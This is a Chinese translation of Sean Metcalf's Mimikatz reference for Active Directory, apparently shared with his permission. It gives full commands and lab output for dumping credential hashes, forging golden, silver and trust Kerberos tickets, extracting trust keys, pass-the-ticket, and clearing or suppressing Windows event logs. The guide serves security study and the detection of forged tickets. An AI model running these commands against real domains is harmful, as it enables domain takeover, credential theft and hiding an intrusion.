原文地址:https://adsecurity.org/?page_id=1821
原文作者:Sean Metcalf
譯者注:
由于原文中,作者(Sean Metcalf)已經明確的指出 “未經本文作者明確的書面同意,請勿復制包含在此頁面的全部或部分內容。”,因此為了分享此佳作,譯者與作者(Sean Metcalf)在推上取得了聯系,溝通之后,作者允許我將此文完整翻譯并分享給其他人。在此也感謝 Sean Metcalf 大牛將有關 Mimikatz 的全部內容做了系統的整理并分享出來。以下是原文作者(Sean Metcalf)回復的截圖,以作授權說明:
Mimikatz 作為當下內網滲透神器之一,看起來似乎很少有人真正關注它的全部功能(Sean Metcalf 在原文開頭也表示了這樣的疑惑),在一些諸如 “十大黑客工具” 的文章中也看不到 Mimikatz 的影子。 Sean Metcalf 大牛將有關 Mimikatz 的相關技術做了系統的整理,遂做粗糙翻譯并作分享。譯文難免有誤,望各位看官及時指正。此文是譯文的第二部分,主要闡述了使用 Mimikatz 創建三大票證(黃金票證,白銀票證,信任票證)的命令用法,以及 哈希傳遞(PTH),票證傳遞(PTT),密鑰傳遞(PTK),緩存傳遞(PTC)的利用,在第三部分中會包含大量常用或不常用的 Mimikatz 命令的具體用法。
Casey Smith (@subtee & blog) 已經做了很多事情,表明了應用程序白名單不是萬能的。 Casey 也想出了很多新的想法,以“猥瑣”的方式來執行 Mimikatz 。
下面就介紹一些最流行的 Mimikatz 命令及相關功能。
所有提及到 Mimikatz 的文章:ADSecurity.org Mimikatz Posts
Mimikatz 可以在交互模式中運行,只需運行 “Mimikatz.exe” 即可或傳遞命令并退出(例如:'Mimikatz “Kerberos::list” exit
')。Invoke-Mimikatz 沒有交互模式。
Mimikatz 可以在命令行中傳遞多個命令,這在使用 Invoke-Mimikatz 或者是在腳本文件中使用 Mimikatz 時非常有用。
追加的 “exit” 是 Mimikatz 執行的最后一個命令,這能夠使 Mimikatz 自動退出。
#!bash
PS C:\temp\mimikatz> .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
.#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 13 2015 00:44:32)
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 17 modules * * */
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # sekurlsa::logonpasswords
Authentication Id : 0 ; 646260 (00000000:0009dc74)
Session : RemoteInteractive from 2
User Name : adsadministrator
Domain : ADSECLAB
Logon Server : ADSDC03
Logon Time : 11/27/2015 11:41:27 AM
SID : S-1-5-21-1581655573-3923512380-696647894-500
msv :
[00000003] Primary
* Username : ADSAdministrator
* Domain : ADSECLAB
* NTLM : 5164b7a0fda365d56739954bbbc23835
* SHA1 : f8db297cb2ae403f8915675cebe79643d0d3b09f
[00010000] CredentialKeys
* NTLM : 5164b7a0fda365d56739954bbbc23835
* SHA1 : f8db297cb2ae403f8915675cebe79643d0d3b09f
tspkg :
wdigest :
* Username : ADSAdministrator
* Domain : ADSECLAB
* Password : (null)
kerberos :
* Username : adsadministrator
* Domain : LAB.ADSECURITY.ORG
* Password : (null)
ssp : KO
交互模式提供了一個命令可以輸入并實時執行的 “Mimikatz 控制臺”:
#!bash
PS C:\temp\mimikatz> .\mimikatz
.#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 13 2015 00:44:32)
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 17 modules * * */
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 646260 (00000000:0009dc74)
Session : RemoteInteractive from 2
User Name : adsadministrator
Domain : ADSECLAB
Logon Server : ADSDC03
Logon Time : 11/27/2015 11:41:27 AM
SID : S-1-5-21-1581655573-3923512380-696647894-500
msv :
[00000003] Primary
* Username : ADSAdministrator
* Domain : ADSECLAB
* NTLM : 5164b7a0fda365d56739954bbbc23835
* SHA1 : f8db297cb2ae403f8915675cebe79643d0d3b09f
[00010000] CredentialKeys
* NTLM : 5164b7a0fda365d56739954bbbc23835
* SHA1 : f8db297cb2ae403f8915675cebe79643d0d3b09f
tspkg :
wdigest :
* Username : ADSAdministrator
* Domain : ADSECLAB
* Password : (null)
kerberos :
* Username : adsadministrator
* Domain : LAB.ADSECURITY.ORG
* Password : (null)
ssp : KO
credman :
Mimikatz 的模塊如下:
注:任何被標記為“實驗”的項目,都應該僅在測試環境中使用。
Mimikatz 的 CRYPTO 模塊提供與 Windows 加密功能(CryptoAPI)進行對接的高級功能。
典型的用法的是用于導出未標記為“可導出”的證書。
CRYPTO::CAPI – (實驗)是對 CryptoAPI 層的補丁,便于導出憑證數據。
關于使用 Mimikatz 導出證書,Carlos Perez (又名DarkOperator) 發表過一篇很棒的文章。
這個命令可以列出證書以及證書中密鑰的屬性。它同樣也可以導出證書。通常情況下,需要先執行 “privilege::debug”
CERT_SYSTEM_STORE_CURRENT_USER
)Benjamin 對 CRYPTO:Certificates 的注釋:
Store 選項:
#!bash
CERT_SYSTEM_STORE_CURRENT_USER or CURRENT_USER
CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY or USER_GROUP_POLICY
CERT_SYSTEM_STORE_LOCAL_MACHINE or LOCAL_MACHINE
CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY or LOCAL_MACHINE_GROUP_POLICY
CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE or LOCAL_MACHINE_ENTERPRISE
CERT_SYSTEM_STORE_CURRENT_SERVICE or CURRENT_SERVICE
CERT_SYSTEM_STORE_USERS or USERS
CERT_SYSTEM_STORE_SERVICES or SERVICES
DPAPI::Blob – 使用 API 或 Masterkey 解除 DPAPI 二進制大對象的保護
DPAPI:Cache
DPAPI::CAPI – CAPI 密鑰測試
DPAPI::CNG – CNG 密鑰測試
DPAPI::Cred – CRE 測試
DPAPI::CredHist – 配置一個 Credhist 文件
DPAPI::MasterKey – 配置 Masterkey 文件或解除保護(依賴于密鑰)
DPAPI::Protect – 使用 DPAPI 保護數據
DPAPI::Vault – VAULT 測試
EVENT::Clear – 清空事件日志
EVENT:::Drop –(實驗)對事件服務進行補丁,避免新的事件產生
Mimikatz 的 KERBEROS 模塊用于與微軟官方的 Kerberos API 進行對接。此模塊中的命令不需要特殊的權限。
該命令提供的功能需要根據檢索到的密碼的哈希類型執行。
Type | Requirement | Scope |
Golden | KRBTGT hash | Domain/Forest |
Silver | Service hash | Service |
Trust | Trust hash |
Domain/Forest -> Domain/Forest (基于帳戶的訪問) |
黃金票證是一個使用 KRBTGT 帳戶的 NTLM 密碼哈希來加密和簽名的 TGT 。
黃金票證(簡稱:GT)可以用于創建任何在域中的用戶(實際存在或不存在的均可)冒充為任何在域中的組(提供幾乎不受限制的權限)的成員以及在域中的任何資源。由于黃金票證是一種身份驗證票證(TGT 如下所述),所以其范圍是 TGT 整個域(以及利用了 SID 歷史的 AD 林),還有一個原因是 TGT 可以用來獲取用于訪問資源的服務票據(TGS)。黃金票證(TGT)包含了用戶組成員信息(PAC),這些信息使用了域的 Kerberos 服務帳戶(KRBTGT)進行加密,簽名并且只能由 KRBTGT 帳戶才能打開并讀取這些信息。
總之,一旦攻擊者能夠訪問 KRBTGT 帳戶的密碼哈希,他們就可以創建黃金票證(TGT)用于在任何時候訪問在 AD 中的任何東西。
創建一個黃金票證的 Mimikatz 命令為 “kerberos::golden”
kerberos::golden /admin:ADMIINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt
命令示例:
.\mimikatz “kerberos::golden /admin:DarthVader /domain:rd.lab.adsecurity.org /id:9999 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0 /endin:600 /renewmax:10080 /ptt” exit
黃金票證參考:
更新于 1/5/2016:
在 2015 年一月初,我分享過檢測偽造的 Kerberos 票證并且隨后在 BSides Charm 2015 中提到過此信息。不久后,Mimikatz 進行了更新,使用了一個設置為靜態值的 domain 字段,此字段通常包含字符串“eo.oe”。更新于 1/5/2016 的 Mimikatz 中,偽造的 Kerberos 票證將不再包含一個不規則的域,因為 Kerberos 票證的域組件中放置了 NetBIOS 域名稱。
下面是使用 diff 列出了 Mimikatz 代碼的不同之處:
更多關于檢測偽造的 Kerberos 票證(黃金票證,白銀票證,等等)的不同之處,請看這里。
白銀票證(Silver Ticket)是一個 TGS (在格式上類似于 TGT),使用了目標的服務帳戶(通過 SPN 映射標識)的 NTLM 密碼哈希做加密,簽名。
創建一個白銀票證的 Mimikatz 命令為 “kerberos::golden”
下面是為 adsmswin2k8r2.lab.adsecurity.org 上的 CIFS 服務創建一個白銀票證的 Mimikatz 命令。為了確保白銀票證能夠成功創建,需要先找到 adsmswin2k8r2.lab.adsecurity.org 中的 AD 計算機帳戶的密碼哈希,你可以從一個 AD 域中導出,也可以在本地系統中直接運行 Mimikatz (Mimikatz “privilege::debug” “sekurlsa::logonpasswords” exit)。NTLM 密碼哈希被用于 /rc4 參數,服務 SPN 類型同樣需要使用 /service 參數指定。最后,目標計算機的完全合格域名名稱(FQDN)需要在 /target 參數中指定。不要忘記在 /sid 參數中指定域的 SID 。
mimikatz “kerberos::golden /admin:LukeSkywalker /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.lab.adsecurity.org /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit
更新于 1/5/2016:
在 2015 年一月初,我分享過檢測偽造的 Kerberos 票證并且隨后在 BSides Charm 2015 中提到過此信息。不久后,Mimikatz 進行了更新,使用了一個設置為靜態值的 domain 字段,此字段通常包含字符串“eo.oe”。更新于 1/5/2016 的 Mimikatz 中,偽造的 Kerberos 票證將不再包含一個不規則的域,因為 Kerberos 票證的域組件中放置了 NetBIOS 域名稱。
下面是使用 diff 列出了 Mimikatz 代碼的不同之處:
更多關于檢測偽造的 Kerberos 票證(黃金票證,白銀票證,等等)的不同之處,請看這里。
一旦 Active Directory 的信任密碼哈希確定后 (Mimikatz “privilege::debug” “lsadump::trust /patch” exit),就可以生成一個信任票證(Trust Ticket)。關于信任票證(Trust Ticket)背后的更多細節,請看這里
在這個例子中,需要利用兩個額外的工具,由 Benjamin Delpy 編寫的 AskTGS 和 Kirbikator。
當前使用的 Mimikatz 版本可以提取出信任密鑰(或密碼)。
(Mimikatz “privilege::debug” “lsadump::trust /patch” exit)
偽造信任票證說明了票證的持有人是 AD 林中的企業管理員(Enterprise Admin)。這使得從一個子域到父域的訪問會得到完全的管理權限。請注意,此帳戶沒有存在于任何地方,因為它有效的使用黃金票證跨越了信任域。
創建一個信任票證的 Mimikatz 命令為 “kerberos::golden”
Mimikatz “Kerberos::golden /domain:child.lab.adsecurity.org /sid:S-1-5-21-3677078698-724690114-1972670770 /sids:S-1-5-21-1581655573-3923512380-696647894-519 /rc4:49ed1653275f78846ff06de1a02386fd /user:DarthVader /service:krbtgt /target:lab.adsecurity.org /ticket:c:\temp\tickets\EA-ADSECLABCHILD.kirbi” exit
在這個例子中,針對 CIFS 服務(實際上它可以針對任何服務)所產生的結果是 TGS 提供給了 EA 訪問父(根)域中的域控制器的權限。
Asktgs c:\temp\tickets\EA-ADSECLABCHILD.kirbi CIFS/ADSDC02.lab.adsecurity.org
Kirbikator lsa c:\temp\tickets\CIFS.ADSDC02.lab.adsecurity.org.kirbi
KERBEROS::List – 列出在用戶內存中的所有用戶的票證(TGS 和 TGT)。沒有指定必需的權限,因為它只是顯示了當前用戶的票證。與 “klist” 的功能相似。
/export – 將用戶的票證導出到文件中。
使用SEKURLSA::TICKETS 轉儲所在已在系統中驗證過的用戶的 Kerberos 票證。
請注意,在有些情況下,用戶的憑證將不會被導出。這時候需要運行 SEKURLSA::Tickets /export(需要有適當的權限)。
KERBEROS::PTC – 緩存傳遞(NT6)
*Nix 操作系統,如 Mac OS, Linux,BSD, Unix,等等會將 Kerberos 憑證進行緩存。這些已經被緩存的文件通過使用 Mimikatz 可以被復制以及傳遞。同樣對將 Kerberos 票證注入到緩存文件中也很有用。
一個很好的例子是在使用 PyKEK 利用 MS14-068 漏洞時所使用的 Mimikatz 的 kerberos::ptc 命令。PyKEK 生成了一個緩存文件,使用 Mimikatz 的 kerberos::ptc 命令可以注入操作。
在找到 Kerberos 票證之后,它可以被復制到其他系統上,并且可以傳遞到當前會話中有效的模擬一次登錄且無需與域控制器有任何通信。未指定所需的權限。
類似于SEKURLSA::PTH (Pass-The-Hash) 哈希傳遞
KERBEROS::Purge – 清除所有的 Kerberos 票證
功能類似于 “klist purge” 。在傳遞票證(PTC,PTT,等)前運行此命令,并且確保使用了正確的用戶上下文。
KERBEROS::TGT – 獲取當前用戶的 TGT